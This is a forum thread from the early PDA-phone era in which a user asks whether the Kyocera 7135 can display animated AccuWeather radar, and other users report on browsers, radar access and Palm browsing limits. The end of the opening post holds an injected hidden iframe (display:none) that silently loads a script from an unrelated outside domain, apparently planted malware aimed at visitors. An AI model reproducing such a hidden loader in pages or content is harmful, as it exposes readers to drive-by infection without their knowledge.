I currently have a pocketpc phone edition with t mobile I am thinking about going to the kyocera 7135 becasue coverage is better with verizon. I do alot of web sufing on my pocket pc phone at work were I get ok coverage. I am afriad to get the 7135 because no one talks about its web capabilities. That is my main concern about this phone. With my pocktpc phone I can do online banking and veiw moving weather radar on accuweather.com. Can the kyocera view animation on web sites like your home computer or like pocket internet explorer? If someone would go to accuweather.com and see if you can load the animated radars for me with your 7135. If it can't I will not purchase this phone. I would go a verizon store locally but they don't have it setup for me to that. I need you guys help fast. Thanks<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Adriantc:

I was able to access Accuweather.com from my 7135. I am running MZ1.0.36, SZ1.0.23, PRL 50096.

I was NOT able to get to AW using the default EIS Web browser that comes with the phone, but good old Blazer Ver 2.0 (build 49) did the trick.

I could access the site and cruise all links. As the site is not optimized for handhelds it did take me a couple of minutes to get acclimated and find the radar link but it took less than 15 seconds to load the radar image once found.

That said, I was not able to view any "moving" radar. It seems that one has to join the site to access radar that is updated every 5 minutes and I did not wish to signup. It seems that "non-members" get a 15 minute update by default, but I did not want to hang around for 15 minutes to see if the screen refreshed.

I also went to AW on my desktop to see if I was missing something on my 7135 but everything looked the same (only smaller) on the 7135.

While I did not spend more than 10 minutes on the site, I was able to access local weather by zip code and looked at several regional weather views.

I am sorry I cannot answer your specific question regarding the moving weather. My spin is that If I have to wait 5 minutes for each update I think I would rather just look outside.

One note, Blazer does not run Java scripts (at least my version does not) but overall I have been very pleased with Blazer. It costs $20 from Handspring.

Maybe other 7135 users have a recommendation for third party web software they would like to share with us.

I have had my 17135 over two months now and have put it through the grinder. I have loaded just about every piece of software I can find to see what I like and other than a few software incompatibility issues, it has worked great. I recommend staying away from over clocking. I tried and was not pleased with the increased resets.

Hope this helps you decide.

Sincerely, bcottun

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bcottun

thanks for trying bcottun. I have been using accuweather animated radar for years and it is totally free. I just went on their site to look at the animated radar for my state and it works fine. So I copied the link for you below. Copy the link below and try it on your home pc first and then try it on your 7135 please. I just tested the link below it works on the home pc so you should have any problems. Let me know if you have any problems pulling it up on your home pc and your 7135.




http://radar.accuweather.com/adcbin/...e=sir&x=44&y=9

adriantc:

I just accessed the posted url on both my pc and 7135. (The posted url was truncated and I had to use the address from my browser address bar which took a couple of tries to get correctly inputted on my 7135.) While I did not see the radar "move" on either, I saw the same thing on each.

I hope this helps, Bill.

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bcottun

basically what i should have asked is can the kyocera 7135 view animated or animation on the web like my pocket pc phone . those of u that have this phone have u ever seen anything moving across the screen. if you haven't then it can only displays still images. someone reply so that i can choose which phone to buy from verizon. 7135 or the i700.

As far as I know, none of the current PALM browsers can display animated GIF's. Although I love my 7135, web browsing is not it's strong point. If browsing was my primary use of the device, I would have probably looked at one of the Pocket PC phones.

Alan

thanks alanb that is exactly what I wanted to here you have saved me from purchasing the wrong product for my needs. I will now go with the i700 so that I can view weather radar in motion like on my pocket pc phone.